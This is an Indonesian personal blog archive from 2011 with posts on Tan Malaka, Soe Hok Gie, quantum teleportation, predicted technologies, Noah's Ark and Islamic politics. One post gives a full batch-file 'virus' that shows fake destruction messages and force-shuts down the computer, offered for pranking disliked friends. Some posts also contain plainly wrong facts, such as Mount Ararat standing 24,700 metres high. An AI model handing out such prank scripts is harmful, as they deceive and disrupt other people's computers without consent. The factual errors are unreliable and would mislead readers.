Maret 29, 2011

resensi

Judul    Tan Malaka, Gerakan Kiri, Dan Revolusi Indonesia, Volume 1
Tan Malaka, gerakan kiri, dan revolusi Indonesia, Harry A. Poeze
Penulis    Harry A. Poeze
Penerbit    Yayasan Obor Indonesia, 2008
ISBN    9794616974, 9789794616970

buku layak dibaca oleh mereka yang meinginkan revolusi buku ini berisikan sepak terjang tan malaka dalam sejarah indonesia, tan malaka adalah orang yang beranggapan bahwa jika komunisme bersatu dengan panislamisme maka akan terjadi revolusi yang luar biasa,buku ini memang bagus buku ini layak di baca oleh para aktivis dan masyarakat umum karena buku penuh inspirasi.
baca buku ini dan pahami isinya kemudian lawan penindasan.
 tan malaka adalah orang yang sangat bagus dalam mempelajari lingkungannya an buku yang dibacanya buku ini sangat layak untuk dibaca.

Maret 25, 2011

pemberontakan kaum atas kekuasaan tirani

Dari sejarah pergolakan mahasiswa menentang rezim totaliter Orde Lama (ORLA) pada dekade 1960-an, bangsa Indonesia patut mencatat dan mengenang satu nama. Ia patut dikenang tidak semata-mata karena andil dan keterlibatannya dalam menyukseskan perjuangan mahasiswa menghancurkan otoritarianisme kekuasaan ORLA, tetapi lebih dari itu, ia pantas mendapatkan tempat terhormat di hati dan ingatan warga bangsa karena totalitas perjuangan dan sikap hidupnya yang luar biasa dan mengagumkan dalam upaya menegakkan kebenaran, keadilan dan kemanusiaan.
Sebagai seorang aktivis mahasiswa, ia adalah pribadi yang istimewa. Hal itu tampak melalui cakrawala pemikirannya yang visioner, militansinya yang nyaris tanpa batas, serta komitmennya yang kukuh pada prinsip-prinsip demokrasi dan humanisme universal.

Karakter demikianlah yang selanjutnya menghadirkan sosoknya sebagai intelektual dan humanis sejati. Dialah Soe Hok Gie, sosok intelektual muda pendobrak tirani ORLA yang dibahas oleh John Maxwell dalam bukunya, "Soe Hok Gie: Pergulatan Intelektual Muda Melawan Tirani".

Soe Hok Gie bukanlah nama yang populer. Bahkan, sebagai aktivis mahasiswa, sosoknya hanya dikenal oleh komunitas masyarakat terbatas. Pikiran dan sepak terjang perjuangannya tidak banyak diketahui publik di Tanah Air. Menurut penulisnya, hal itu karena kendati pernah terlibat secara aktif dalam politik, ia berbeda dengan para tokoh politik dari generasinya. Ia tidak mencurahkan seluruh hidupnya untuk politik.

Kehidupannya yang tergolong singkat, yakni hanya 27 tahun, juga tidak banyak memberikan peluang padanya untuk mengukir prestasi gemilang, baik secara individual maupun politis. Walau demikian, menyimak kegigihan perjuangannya, sukar untuk membantah bahwa anak muda ceking keturunan Tionghoa itu adalah seorang intelektual dan pejuang yang luar biasa.

Dalam konteks demikian, selain menambah khazanah studi Indonesia modern tentang biografi tokoh-tokoh politik, penerbitan buku ini juga memperluas peluang publik untuk lebih memahami pandangan dan sepak terjang politik adik kandung sosiolog Arief Budiman ini. Lebih dari itu, buku ini memiliki nuansa lain dibandingkan dengan biografi tokoh-tokoh politik yang telah ada sebelumnya semisal biografi tentang Soekarno, Hatta, Sjahrir, ataupun Soeharto.

Karena berbeda dengan biografi-biografi tersebut, yang notabene mengulas para tokoh politik terkemuka, biografi yang satu ini justru membedah seorang tokoh "minor" dalam politik Indonesia. Minor dalam pengertian, meskipun merupakan salah satu tokoh dalam pergerakan mahasiswa dekade 1960-an, ketokohan politiknya tidak pernah dikenal luas di Indonesia. Posisinya dalam peta politik nasional pun tidak pernah cukup sentral jika dibandingkan dengan para tokoh di atas.

Maret 24, 2011

teleportasi

Beam me up Scotty! Itulah kalimat khas Kapten Kirk ketika ingin kembali kekapal Enterprise dalam film Star Trek. Impian untuk bisa berpindah tempat dalam sesaat seperti mereka memang masih menjadi fiksi ilmiah, tetapi sebuah tim ilmuwan Denmark berhasil membuat terobosan dalam memindahkan informasi dari cahaya menjadi materi.
Adalah Professor Eugene Polzik dan timnya dari Institute Niels Bohr, terletak di Universitas Copenhagen Denmark, yang berhasil melakukan terobosan itu. Polzak dan timnya berhasil memindahkan informasi sebuah obyek makroskopik(terdiri dari atom yang sangat banyak) sejauh setengah meter. Mereka percaya jarak perpindahan tersebut akan bisa ditambah untuk kedepannya.
“Perpindahan antara 2 atom tunggal telah berhasil dilakukan 2 tahun lalu namun itu hanya dalam jarak beberapa millimeter.” Komentar Polzik. “ Metode kami memungkinkan terleportasi dengan jarak yang lebih jauh lagi karena melibatkan cahaya sebagai pembawa.” Tambahnya lagi.
Terobosan ini bukan berarti kita akan mulai berpindah tempat dengan cahaya dalam beberapa tahun kedepan. Yang pasti terobosan ini menandai sebuah perkembangan dalam bidang informasi kuantum dan komputer, memungkinkan perpindahan dan pemrosesan informasi dengan cara yang sebelumnya tampak mustahil.
Sumber : http://www.g2glive.com/?m=news.detail&id=1720
Bagaimana Teleportasi
Tim ilmuwan dari Institut für Experimentalphysik di Innsbruck, Austria dan National Institute of Standards and Technology (NIST) di Boulder, Colorado, secar terpisah berhasil melakukan teleportasi ion-ion dari unsur kalsium dan beryllium. Ini untuk kali pertama para ilmuwan dapat meniru teknologi Star Trek meski baru memindahkan ion sub atomik. Intinya, teleportasi ini adalah teleportasi kuantum.
  1. Sepasang ion, B dan C, yang terlibat diciptakan bersamaan.
  2. Keadaan yang ingin diteleportasikan diciptakan di dalam sebuah ion, sebut saja A.
  3. Salah satu ion yang berpasangan, B dilibatkan dengan A. Keadaan internal keduanya lalu diukur.
  4. Keadaan kuantum dari ion A dikirimkan ke ion C dan mentransformasikan ion C (sekaligus menghancurkan keadaan kuantum asli dari ion A).
  5. Keadaan yang diciptakan untuk ion A telah diteleportasikan kepada ion C.
Teleportasi ini berlangsung dalam hitungan milidetik dan pada saat penekanan tombol.

Quantum
The phenomenon of quantum teleportation was quickly changing from being an exotic by-product of quantum theory to becoming a practical application in computing and information transfer. Teleportation concerns the instantaneous transfer of information from one place to another. It circumvents the restriction on exceeding the speed of light (a restriction imposed by relativity theory) by making use of the phenomenon called entanglement. If two quantum systems are prepared together, so that their states are “entangled,” then separated to an arbitrarily large distance, measurement of the state of one system will instantaneously define the state of the second system. The state is said to represent a qubit, or quantum bit, of information.
Two scientific teams using different systems achieved teleportation of the quantum states of ions (electrically charged atoms). Previous experiments had demonstrated teleportation only with the quantum states of beams of light. The ion-teleportation experiments consisted essentially of preparing the initial quantum state of one particle and then teleporting that state to a second particle at the push of a button. Mark Riebe and co-workers at the Institute for Experimental Physics, University of Innsbruck, used three calcium ions trapped together at an ultrahigh vacuum. One ion constituted the source, and the second served essentially as carrier of information to the third, the receiver. Murray Barrett and his colleagues at the National Institute of Standards and Technology, Boulder, Colo., produced similar results with beryllium ions, using a different form of trap and experimental layout. Although there are many types of particles that might function as the basis of practical devices for storing and transporting qubits, including photons and atoms, trapped ions, or quantum dots, tiny isolated clumps of semiconductor atoms with nanometer dimensions, it was generally agreed that the ion-trap setup used in these experiments was one of the most promising candidates.
Meanwhile, advances continued to be made in experiments on teleportation of light. Rupert Ursin and co-workers at the Institute for Experimental Physics, University of Vienna, described teleportation of photons over a distance of 600 m (about 2,000 ft) and Zhao Zhi and co-workers at the University of Science and Technology of China demonstrated five-photon entangled states, an important step on the road to the development of quantum communication. Other experimenters were considering the transfer of quantum information via the interaction of matter and light. Physicist Boris Blinov and colleagues in the department of physics at the University of Michigan succeeded in observing entanglement between a trapped ion and an optical photon.
On the other hand, Irinel Chiorescu and colleagues at Delft (Neth.) University of Technology coupled a two-state system—made up of three in-line Josephson junctions—to a superconducting quantum interference device (SQUID) on the same semiconductor segment. The SQUID served as a detector for the quantum states, and entangled states could be generated and controlled. The experiment pointed the way to the possible use of solid-state quantum devices for controlling and manipulating quantum information. Such experiments were made possible by advances in a number of fields, from precision laser spectroscopy to techniques involving ultralow temperature and ultrahigh vacuum. In the midst of this experimental ferment, it was not yet clear which path might eventually lead to the building of large-scale quantum computers, overcoming the inherent restrictions of electronic devices.
Experimental techniques in microscopy reached a level of sophistication that made it possible to study the spin of a single electron a short distance below the surface of a solid. Dan Rugar and co-workers at the IBM Almaden Research Center, San Jose, Calif., combined the techniques of magnetic resonance imaging and atomic force microscopy to create a technique called magnetic resonance force microscopy (MRFM). They mounted a micromagnetic probe on a tiny cantilever a short distance above the surface of the material being studied. The probe generated a magnetic-field gradient so large that the interaction between the probe’s magnetic field and that of a single electron produced a measurable mechanical force on the probe. The new technique not only dramatically increased the resolution of magnetic resonance imaging but also held promise for helping make use of atomic spin for qubits in information storage.
Anton Zeilinger and co-workers at the Institute for Experimental Phases of the University of Vienna carried out an experiment concerning the transition between the quantum and classical realms of physics. It demonstrated the fallacy of the common tendency to separate qualitatively the quantum behaviour of extremely small particles, such as electrons, from the classical behaviour of everyday objects, such as billiard balls. Using relatively large cagelike carbon C70 molecules, Zeilinger’s group observed a smooth transition between quantum and classical behaviour. They heated the molecules and sent them through a series of gratings onto a detector, in a rerun of the seminal two-slit experiment that showed the quantum nature of fundamental particles such as electrons. At low temperatures the molecules formed an interference pattern at the detector—a manifestation of quantum behaviour. As the temperature of the molecules was increased, however, there was a swift but smooth transition to behaviour like that of classical objects.
This experiment demonstrated that the division between the quantum and classical realms is not a function of the size of the particle but most likely a function of the interaction of the particle with the outside world (in this case the emission of radiation by the heated molecules).
David G.C. Jones

sepuluh teknologi yang diramalkan

Jangan kaget, kelak hadir kamera tembus pandang di balik tembok. Majalah New Scientist, meramalkan 10 produk masa depan
Percayakah Anda? TV masa depan selain bersuara, berwarna, juga bisa beraroma. Otak manusia membagi aroma menjadi 30 lebih jenis, misalnya aroma kayu, aroma bunga, aroma rumput dan lain sebagainya. Itulah perkembangan produk teknologi di masa depan.
Majalah Inggris, New Scientist, sebagaimana dikutip Epoch Times, Selasa, 3 Februari 2009, meramalkan akan hadirnya 10 produk iptek besar yang diharapkan terjadi dalam 30 tahun ke depan. , dari ruang laboratorium melangkahkan kakinya ke rumah Anda, menjadi produk umum seperti halnya handphone (HP).
Ke-10 iptek besar tersebut termasuk alat pendeteksi tembus dinding, mantel penyirna tubuh ala Harry Potter, peralatan panjat dinding ala spiderman yang membuat orang mampu memanjat dinding, pesawat terbang pribadi super, pesawat antariksa pribadi dan TV yang dapat menebarkan aroma dan lain-lain.
Ada yang berpendapat ramalan tersebut terlalu muluk-muluk, betul-betul sulit dipercaya. Namun coba kita kilas balik ke-30 tahun yang lampau, pada 1979 tatkala perusahaan Jepang, NET berhasil mengembangkan HP internet pertamanya di seluruh dunia, banyak orang masih mengira berjalan sambil berbicara di telepon adalah hal yang mustahil, tetapi bagi manusia zaman sekarang HP telah menjadi barang bawaan yang harus ada. Seiring dengan perkembangan iptek, siapa bilang impian tersebut tak dapat menjadi kenyataan?
Harian Daily Mail Inggris dengan rinci menjelaskan “10 produk iptek besar masa depan” sebagai berikut:
1. Dinamo dari tubuh manusia
Nyaris setiap orang zaman sekarang memiliki HP, iPod dan alat elektronik lainnya, akan tetapi berbicara dengan HP dan mendengarkan iPod agak lama sedikit begitu baterai habis padahal kita sedang di luar, tentu tak dapat mengisi ulang, lantas bagaimana?
Andaikan saja dari pergerakan tubuh manusia bisa setiap saat di-pergunakan untuk pembangkit listrik, betapa bagusnya hal itu!
Kini ilmuwan di laboratorium sudah merealisir harapan tersebut. Wang Zhonglin seorang ilmuwan keturunan Tionghoa dari Politeknik Georgia, AS, menggunakan teknik Nano dan Piezoelectrik effect guna membangkitkan listrik. Dia berhasil membuat semacam pakaian serat fiber berdinamo dari bahan campuran serat logam super halus. Setiap kali fiber ditekan atau ditekuk, bisa menghasilkan aliran listrik. Yang disebut dengan Piezoelectrik effect adalah ketika materi tertentu tatkala menerima tekanan bisa menghasilkan listrik.
Wang Zhonglin menggunakan benang nano yang dibuat dari Zinc Oxyd (seng oksida) dibungkus dengan seuntai serat tenun. Sewaktu orang mengenakan pakaian semacam ini, asalkan terhembus angin atau gerak sedikit saja sudah cukup membuat pakaian tersebut menghasilkan Listrik.
Dewasa ini teknik tersebut masih dalam tahapan percobaan di laboratorium, menanti sesudah teknik semakin matang, maka orang-orang bisa setiap saat mencharge Hp ataupun iPodnya.
2. Alat pengintai tembus dinding
Di dalam dongeng dewa atau manusia super pasti memiliki daya pandang tembus, bisa melihat benda di balik dinding, melihat suasana di belakang dinding. Tetapi kini para ilmuwan menggunakan gelombang radio dan telah merealisir impian ini.
Perusahaan konsultan iptek Cambridge – Inggris menggunakan gelombang radio yang memiliki keistimewaan bisa menembus benda padat, telah menciptakan sistem pengintai sinar X hanya sebesar tas kantor.
Prism 200, nama peralatan ini bisa memancarkan semacam gelombang pulsa ultra wide band, bisa menembus dinding atau materi setebal 40 cm, mendeteksi segala gerakan dalam radius 15 meter, dapat membantu pihak kepolisian sewaktu dalam pengepungan penculik dan mampu mendeteksi posisi penyandera dan korban yang disandera di dalam ruangan.
Peneliti Universitas Teknik Munich Jerman telah menciptakan semacam peralatan, yang meskipun tersekat oleh pintu, asalkan meluncurkan semacam gelombang radio antara 433 MHz dan 24.000 MHz, maka bisa mendeteksi pernafasan dan detak jantung dan gerakan minim dari balik pintu.
3. Memanjat dinding dan Qinggong (ilmu meringankan tubuh)
Spiderman di dalam film, mampu memanjat dinding dan berlompatan di atas atap gedung pencakar langit. Kini selingan di kala senggang ini sudah dipergunakan oleh ilmuwan dengan menggunakan semacam peralatan perekat kuat untuk merealisasi perlawanan terhadap gravitasi. Para ilmuwan memperoleh inspirasi ini dari prinsip anatomi kaki cecak.
Cecak bisa merayap di dinding berkat mengandalkan 2 juta batang rambut pada setiap kakinya, yang menimbulkan listrik mikro elektrostatik dan membentuk sebuah daya rekat yang sangat kuat.
Andre Geim, peneliti dari Universitas Manchaster, Inggris telah merencana semacam materi tiruan bulu cecak, hanya sebesar 1 cm2, dikenakan pada sarung tangan dan sepatu, dan bisa menopang bobot 1 kg.
Nicola Pugno, peneliti politeknik Universitas Turin Italia merangkap teknologi Nano, telah membuat satu pasang sarung tangan yang masing-masing mampu menahan bobot 10 kg. seiring dengan perbaikan teknis, impian indah masyarakat penggemar spiderman dapat menjadi sepertinya tak lama lagi bisa direalisir.
4. Insang buatan
Umat manusia bila meninggalkan oksigen maka tak mampu mempertahankan eksistensinya, sewaktu menyelam udara dimampatkan dari dalam tabung, kalau terpakai habis maka harus naik ke tepi, tak mampu seperti cerita ikan duyung yang bisa hidup di daratan maupun menyelam di dasar laut. Namun begitu manusia dapat mencipta insang buatan, di masa depan, berkelana di dasar lautan sudah bukan masalah lagi.
Fuji Systems, Jepang, membuat insang buatan dari membran silikon, udara bisa menembusnya tapi cairan tak dapat, bisa memfilter oksigen di dalam air, bersamaan itu membuang CO2, persis seperti insang ikan. Pada 2002, ada penyelam yang berhasil mengenakan insang buatan berada di dasar air selama 30 menit.
Tetapi oleh karena di dalam air laut hanya terdapat 1,5% oksigen, sedangkan oksigen yang disiapkan insang buatan terlalu minim, tidak mencukupi kebutuhan nafas manusia. Ilmuwan Israel memakai baterai menggerakkan mesin sentrifugal berkecepatan tinggi, sesudah mengurangi tekanan air laut bisa membebaskan lebih banyak oksigen, tetapi bagi penyelam, walau tak perlu lagi membawa tabung oksigen, tetapi masih perlu menggendong aki dan alat pengukur pengurang tekanan.
5. Alat penterjemah langsung
Perusahaan SRI, AS, pernah mengembangkan sebuah software pengenal suara IraqComm dan penerjemahan kepada tentara pendudukan AS di Iraq, di saat bicara bahasa Arab dan diarahkan ke mikrofon, komputer dengan segera menerjemahkannya ke bahasa Inggris dan melafalkan bahasa terjemahannya.
Ilmuwan di Universitas Carnegie Mellon Pittsburg, AS, sedang membuat sistem serupa dinamakan Speechalator, bisa digunakan pada palm sized note book dan PDA. Meskipun dewasa ini daya perbendaharaan-katanya terbatas, namun bantuan komunikasi IraqComm bagi tentara AS dan orang Iraq sangat besar.
6. Mantel penyirna tubuh
Manusia dalam melihat suatu benda adalah karena benda tersebut telah menghalangi lewatnya gelombang cahaya. Jikalau pada benda tersebut diliputi satu lapis materi spesial yang mengandung Refractive index negative, secara teoritis bisa membuat cahaya tanpa hambatan meneruskan maju ke depan, dengan demikian benda tersebut secara visual sudah lenyap.
Kini standar iptek belum bisa membuat orang menghilang tetapi sangat mungkin merencanakan sebuah mantel penyirna tubuh. Tahun yang lalu Universitas Duke, AS, menyatakan bisa membuat metamaterials yang bisa membelokkan cahaya, bahan penyirna semacam ini dibuat dari sejumlah besar bahan sintetis yang menyerupai fiber glass dan dibentuk dengan sistem susunan mendatar, bisa membalikkan gelombang elektromagnetik, dengan melalui mengubah sorotan cahaya untuk menyembunyikan benda.
Dewasa ini peneliti dengan sukses memperluas area wilayah yang bisa menghadang gelombang cahaya, meningkatkan dengan tajam kemampuan menutupi benda. Metamaterials selain bisa dibuatkan mantel penyirna tubuh, juga bisa dipergunakan di optical fiber communication, dibuat speed fiber optic diperkirakan bisa meningkatkan minimal 10 kali lipat kecepatan on line dewasa ini.
7. Pesawat terbang pribadi
Pesawat terbang dipandang oleh banyak ilmuwan sebagai model iptek moderen. Tanpa pesawat, bisakah manusia terbang ke langit?
Pada 1920 telah dikembangkan pesawat terbang pribadi, sampai tahun 60-an, ada yang merancang pesawat pribadi yang mampu terbang 30 detik. Hingga 2008, Martin Jetpack yang dirancang oleh perusahaan pesawat Martin, Selandia Baru, membuat pesawat pribadi tidak lagi bagian dari komik fiksi iptek.
Martin Jetpack menyediakan dua starter Turbojet engine, digerakkan memakai bensin, satu gallon bensin cukup untuk 30 menit terbang, sekitar 50 km jauhnya. Selain itu pesawat dilengkapi juga dengan parasut, tak perlu takut jika mengalami kerusakan.
Harga jual pesawat tersebut adalah US$ 100.000, diprediksi paling cepat semester kedua tahun ini sudah bisa dipasarkan.
8. Pesawat antariksa pribadi
Selain pesawat pribadi, ada orang yang ingin memiliki pesawat antariksa pribadi, setiap saat bisa melayang ke ruang angkasa untuk menikmati indahnya bulan dan bintang. Pada umumnya mahalnya pesawat antariksa ada pada bahan bakarnya. Biasanya meluncurkan satu kali roket, harus merogoh biaya BBM sebesar US$ 100 juta. Insinyur AS, Leik Myrabo ternyata memiliki ide baru yakni tanpa penggunaan BBM.
Myrabo senantiasa berupaya pada penelitian gelombang mikro. Ia merencanakan penggunaan laser permukaan ditembakkan ke arah bagian dasar pesawat antariksa berbobot ringan, bisa menimbulkan Explosive plasma, sehingga melontarkan pesawat antariksa ke atas. Diprediksi pada 2025, modal dengan cara baru ini hanyalah 1/1000 daripada yang sekarang.
9. Alat terapi ultrasonic mini/jinjing
Di dalam cerita silat, orang yang berilmu tinggi bisa menyembuhkan orang lain dengan metode memancarkan tenaga dalam. Kalangan kedokteran sudah jauh hari menggunakan gelombang ultrasonik guna pemeriksaan kondisi perempuan hamil, namun dewasa ini menggunakan ultrasonik untuk penyembuhan, juga telah menjadi cara operasi baru.
Lawrence Crum, professor Universitas Washington, AS, yang telah sukses mengembangkan semacam peralatan terapi ultrasonik jinjing, melalui ultrasonik yang membebaskan ultrasonik berenergi rendah, kondisi pembuluh darah yang terluka oleh gelombang ultrasonik jikalau ditemukan pembuluh darah terdapat gejala berdarah, alat tersebut membebaskan lagi ultrasonik energi tinggi untuk menimbulkan panas tinggi dan memampatkan pembuluh darah. Ia tahun ini bisa melakukan uji klinis terhadap peralatan terapinya.
10. Bau sebagai pengontrol TV
Jauh pada akhir 1990 sudah ada perusahaan yang pada tahap awal berhasil meneliti teknik bebauan sintetis, mampu membuat hampir semua aroma yang ditemui setiap hari. Tetapi pada TV seiring dengan perubahan gambar, bagaimana mencegah aroma yang berbeda tidak tercampur dan berubah ke jenis aroma lainnya, serta bagaimana menangkal bau yang tak mau lenyap yang belum sinkron dengan gambar ditampilkan.
Metode perusahaan Xin Li, Jepang ialah menghindari hidung, namun langsung menyerang bagian otak. Di dalam hak ciptanya, Xin Li menggunakan ultrasonik langsung merangsang bagian tertentu pada otak manusia, membuat penonton atau pemain toy mengira mengendus aroma tertentu. Namun teknik tersebut masih sangat primitif, jalan ke masa depan masih agak panjang.

Menurut kitab asal mula, Bahtera Nuh penyelamat banjir dahsyat, berada di Gunung Ararat di Turki. Benarkah bahtera itu berada di sana?


Mantan bintang Baywatch Donna D’Errico, baru-baru ini, mengumumkan akan pergi ke gunung itu guna mencari sisa-sisa Bahtera Nuh. Tiap tahun, banyak tim pendaki yang mengklaim menemukan bahtera itu. Bahkan pencarian satelit pada gunung dilakukan.
Pencarian itu fokus pada ‘Anomali Ararat’. Formasi seukuran bahtera di puncak gunung itu difoto Angkatan Udara Amerika Serikat (AS) pada 1949. Bahkan, secara ilmiah, kebenaran adanya banjir dahsyat itu dipertanyakan.
Mungkin terdapat banjir besar selama setahun saat seorang pria beruntung dan keluarganya berada dalam perahu besar. Namun suatu hal tak ilmiah membayangkan sebuah bahtera berakhir di puncak Gunung Ararat setinggi 24,7 ribu meter.
Sederhananya, tak ada cukup air di Bumi mencapai Gunung Ararat yang memang tinggi, megah, dan berada di luar jangkauan air itu. Bagi mereka yang percaya keajaiban dan percaya adanya lebih banyak air saat banjir 40 hari pada enam ribu tahun silam itu, tetap saja mustahil Anomali Ararat adalah sebuah Bahtera.
Direktur Boston University Center for Remote Sensing Farouk El-Baz mengatakan, orang-orang itu menafsirkan citra satelit itu dengan pandangan bias. "Hingga kini, semua gambar yang pernah saya lihat bisa diartikan sebagai bentang alam," katanya.
Fitur yang ditafsirkan sebagai ‘Anomali Ararat’ adalah birai batu pada bayangan parsial yang dilengkapi ketebalan salju dan es yang bervariasi, tutupnya

Maret 17, 2011

virus lucu

Nah aku udah berhasil membuat virus yang Aneh nih dari notepad...gampang aja kok...udah g sabar??? ayo kita mulai
1. Buka Notepad
2. Copy Kata kata di bawah ini




Virus Aneh





cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM…^__^
echo …………………
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo NEXT…………!
echo:
echo:
echo HALO SOBAT
echo MAU JADI TEMAN AKU ??
echo:
echo:
echo IM CATUREKO!!!
start /w wscript.exe C:\sleep2000.vbs
echo …………
start /w wscript.exe C:\sleep4000.vbs
echo …………
echo NTAR…….!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS INI ADALAH VIRUS YANG SANGAT MEMATIKAN…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir Si_INDO_CRACKER
start /w wscript.exe C:\sleep3000.vbs
echo:
echo:
echo:
echo:
echo HAPPY BIRTHDAY
echo KOMPUTER KAMU BAGUS DEH
echo BOLEH Q INTIP DIKIT
echo HMM BOLEH JUGA NEH ISINYA
echo CALL ME YACHH +6284323xxxxxx GPRS JUGA BOLEH KOK
echo:
echo:
echo:
echo:
echo:
echo SABARAN BRO…
start /w wscript.exe C:\sleep3000.vbs
echo ………..
echo zzzzzzz….
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo OKE….Virus AKTIF!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo FIREWALL KAMU ANCUR…
start /w wscript.exe C:\sleep2000.vbs
echo SEMUA PROSESS UDAH DIBANTAI…
start /w wscript.exe C:\sleep2000.vbs
echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS MASUK PODIUM AKHIR!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “BERTAUBATLAH, BACK TO UR GOD MOHON MAAF LAHIR DAN BATIN.”




4. nah kalo udah simpen aja dengan nama "virus ganas.bat"
5. nah kalo mw ngaktifin virusnya tinggal klik file .batnya 2X...
6. tapi sebaiknya ni virus jangan di coba di komputer/laptop milik kita sendiri...ntar malah pusing kita.

inget ya nih virus buat ngerjain temen yang ga kita suka aja(hehe sengaja aku buat kaya gini), o ya ni virus cuma akan merestart komputer temen anda n memberi tulisan2 yang membuat teman anda merasa bahwa ada virus yang ganas di komputernya.....beressss..met mencoba...

Maret 16, 2011

politik islam

pengertian Politik
politik adalah seni memperoleh kekuasaan dengan konstitusional maupun inkonstitusional
adapula yang berpendapat bahwa politik adalah seni mengatur pemerintahan untuk kepentingan
rakyat.
Dalam pandangan masyarakat awam politik di identikkan dengan cara-cara kotor untuk
mendapatkan sesuatu pandangan ini tak selamanya salah akan tetapi kurang tepat karena politik
tak selamanya menggunakkan cara-cara kotor adapula yang menggunakkan cara-cara yang
bersih politik ibarat pisau mau dipake untuk apapun tergantung yang memakai.
Dalam islam juga mengenal politik seandainya, islam tidak mengenal politik kita tidak
mengenal sistem khilafah. Sesungguhnya islam tidak mengharuskan sistem khilafah tapi kita
harus menggunakan aturan Allah yang terdapat dalam Alqur'an maupun hadits.
Rasulullah saw bersabda:
Adalah Bani Israel, para Nabi selalu mengatur urusan mereka. Setiap
seorang Nabi meninggal, diganti Nabi berikutnya. Dan sungguh tidak ada
lagi Nabi selainku. Akan ada para Khalifah yang banyak” (HR Muslim dari
Abu Hurairah ra).
Hadits diatas dengan tegas menjelaskan bahwa Khalifahlah yang mengatur
dan mengurus rakyatnya (kaum Muslim) setelah nabi saw. hal ini juga
ditegaskan dalam hadits Rasulullah:
Imam adalah seorang penggembala dan ia akan dimintai
pertanggungjawaban atas gembalaannya”.
Jadi, esensi politik dalam pandangan Islam adalah pengaturan urusan-
urusan rakyat yang didasarkan kepada hukum-hukum Islam. Adapun
hubungan antara politik dan Islam secara tepat digambarkan oleh Imam al-
Ghazali: “Agama dan kekuasaan adalah dua saudara kembar. Agama adalah
pondasi (asas) dan kekuasaan adalah penjaganya. Segala sesuatu yang
tidak berpondasi niscaya akan runtuh dan segala sesuatu yang tidak
berpenjaga niscaya akan hilang dan lenyap”.
Berbeda dengan pandangan Barat politik diartikan sebatas pengaturan
kekuasaan, bahkan menjadikan kekuasaan sebagai tujuan dari politik.
Akibatnya yang terjadi hanyalah kekacauan dan perebutan kekuasaan,
bukan untuk mengurusi rakyat. Hal ini bisa kita dapati dari salah satu
pendapat ahli politik di barat, yaitu Loewenstein yang berpendapat “politic
is nicht anderes als der kamps um die Macht” (politik tidak lain merupakan
perjuangan kekuasaan).
Wajib Berpolitik Bagi Setiap Muslim.
Politik dalam tinjauan islam adalah sistem untuk mengatur
kepentingan umat, jadi islam juga mengatur soal politik bahkan puncak
agama(jihad) diajarkan didahului membentuk pemerintahan bahkan yang
memimpin jihad adalah penguasa atau imam.
Di antara fenomena yang disadari oleh sebagian pengkaji teori-teori
politik secara umum, adalah: adanya hubungan yang erat antara timbulnya
pemikiran-pemikiran politik dengan perkembangan kejadian-kejadian
historis (1). Jika fenomena itu benar bagi suatu jenis atau madzhab
pemikiran tertentu, dalam bidang pemikiran apapun, hal itu bagi
pertumbuhan dan perkembangan teori-teori politik Islam amatlah jelas
benarnya. Teori-teori ini ---terutama pada fase-fase pertumbuhan
pertamanya-- berkaitan amat erat dengan kejadian-kejadian sejarah Islam.
Hingga hal itu harus dilihat seakan-akan keduanya adalah seperti dua sisi
dari satu mata uang. Atau dua bagian yang saling melengkapi satu sama
lain. Sifat hubungan di antara keduanya berubah-ubah: terkadang
pemikiran-pemikiran itu tampak menjadi penggerak terjadinya berbagai
kejadian, dan terkadang pula kejadian-kejadian itu menjadi pendorong
atau rahim yang melahirkan pendapat-pendapat itu. Kadang-kadang suatu
teori hanyalah sebuah bias dari kejadian yang berlangsung pada masa lalu.
Atau suatu kesimpulan yang dihasilkan melalui perenungan atas suatu
pendapat yang telah diakui pada masa sebelumnya. Atau bisa pula
hubungan itu berbentuk lain.
Karena adanya hubungan antara dua segi ini, segi teoretis dan realistis, maka jelaslah masing-
masing dari kedua hal itu tidak dapat dipahami tanpa keberadaan yang lain. Metode terbaik
untuk mempelajari teori-teori ini adalah dengan mengkajinya sambil diiringi dengan realitas-
realitas sejarah yang berkaitan dengannya. Secara berurutan sesuai dengan fase-fase
perkembangan historisnya ---yang sekaligus merupakan runtutan alami dan logisnya. Sehingga
dapat dipahami hakikat hubungan yang mengkaitkan antara dua segi, dapat memperjelas
pendapat-pendapat, dan dapat menunjukkan bumi yang menjadi tempat tumbuhnya masing-
masing pemikiran hingga berbuah, dan mencapai kematangannya. Inilah metode yang akan
kami gunakan.
Era Kenabian
Era ini merupakan era pertama dalam sejarah Islam. Yaitu dimulai semenjak Rasulullah Saw
memulai berdakwah mengajak manusia untuk menyembah Allah SWT hingga meninggalnya
beliau. Era ini paling baik jika kita namakan sebagai era "kenabian" atau "wahyu". Karena era
itu memiliki sifat tertentu yang membedakannya dari era-era yang lain. Ia merupakan era ideal
yang padanya ideal-ideal Islam terwujudkan dengan amat sempurna.
Era ini terbagi menjadi dua masa, yang keduanya dipisahkan oleh hijrah. Kedua fase itu tidak
memiliki perbedaan dan kelainan satu sama lain, seperti yang diklaim oleh beberapa orientalis
(2). Bahkan fase yang pertama merupakan fase yang menjadi titik tolak bagi fase kedua. Pada
fase pertama, embrio 'masyarakat Islam' mulai tumbuh, dan telah ditetapkan kaidah-kaidah
pokok Islam secara general. Kemudian pada fase kedua bangun 'masyarakat Islam' itu berhasil
dibentuk, dan kaidah-kaidah yang sebelumnya bersifat general selesai dijabarkan secara
mendetail. Syari'at Islam disempurnakan dengan mendeklarasikan prinsip-prinsip baru, dan
dimulailah pengaplikasian dan pelaksanaan prinsip-prinsip itu seluruhnya. Sehingga tampillah
Islam dalam bentuk sosialnya secara integral dan aktif, yang semuanya menuju kepada tujuan-
